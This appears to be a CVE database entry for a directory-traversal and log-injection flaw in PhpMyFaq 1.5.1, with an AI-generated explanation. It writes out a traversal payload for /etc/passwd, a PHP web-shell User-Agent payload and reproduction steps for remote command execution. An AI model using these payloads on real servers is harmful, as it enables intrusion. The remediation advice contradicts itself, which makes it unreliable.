CVE-2005-3048
Description
Directory traversal vulnerability in index.php in PhpMyFaq 1.5.1 allows remote attackers to read arbitrary files or include arbitrary PHP files via a .. (dot dot) in the LANGCODE parameter, which also allows direct code injection via the User Agent field in a request packet, which can be activated by using LANGCODE to reference the user tracking data file.
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
Affected products
2cpe:2.3:a:phpmyfaq:phpmyfaq:1.5.1:*:*:*:*:*:*:*+ 1 more
- cpe:2.3:a:phpmyfaq:phpmyfaq:1.5.1:*:*:*:*:*:*:*
- (no CPE)range: =1.5.1
Patches
Vulnerability mechanics
Root cause
"Missing input sanitization of the LANGCODE parameter allows directory traversal, and unsanitized User-Agent data stored in a log file enables PHP code injection."
Attack vector
An attacker sends a crafted HTTP request to `index.php` with a `LANGCODE` parameter containing `../` sequences (e.g., `/../../../../etc/passwd%00`) to read arbitrary files. For code execution, the attacker first sends a request with a malicious `User-Agent` header containing PHP code (e.g., `<?php system($HTTP_GET_VARS[cmd]) ?>`), which is stored in the server's tracking log file. A second request then uses the `LANGCODE` parameter to include that log file (e.g., `LANGCODE=/../../data/tracking[date]%00`) and passes a command via the `cmd` parameter, achieving remote command execution [ref_id=1].
Affected code
The vulnerability resides in `index.php`, which uses the `LANGCODE` parameter in an include or file-read operation without sanitizing directory traversal sequences. The advisory also identifies the user-tracking data file stored under `data/tracking[date]` as the vehicle for code injection [ref_id=1].
What the fix does
The advisory does not include a patch or official fix. It recommends that users disable `magic_quotes_gpc` if it is off, but this is a workaround, not a remediation. No vendor patch is referenced in the provided bundle [ref_id=1].
Preconditions
- configmagic_quotes_gpc must be Off for the directory traversal and code injection to succeed
- networkThe attacker must be able to send HTTP requests to the target server
- configThe server must be running on Windows for the null-byte truncation technique to work
Reproduction
1. Send a request to `index.php` with a malicious `User-Agent` header containing PHP code, e.g., `User-Agent: <?php system($HTTP_GET_VARS[cmd]) ?><?php die ?>`. 2. Note the current date in `dmY` format (e.g., `22092005`). 3. Send a second request to `index.php?cmd=ls%20-la&LANGCODE=/../../data/tracking[date]%00` (replace `[date]` with the actual date). The server will include the tracking log file and execute the injected PHP code with the `cmd` parameter [ref_id=1].
Generated on May 26, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
3News mentions
0No linked articles in our index yet.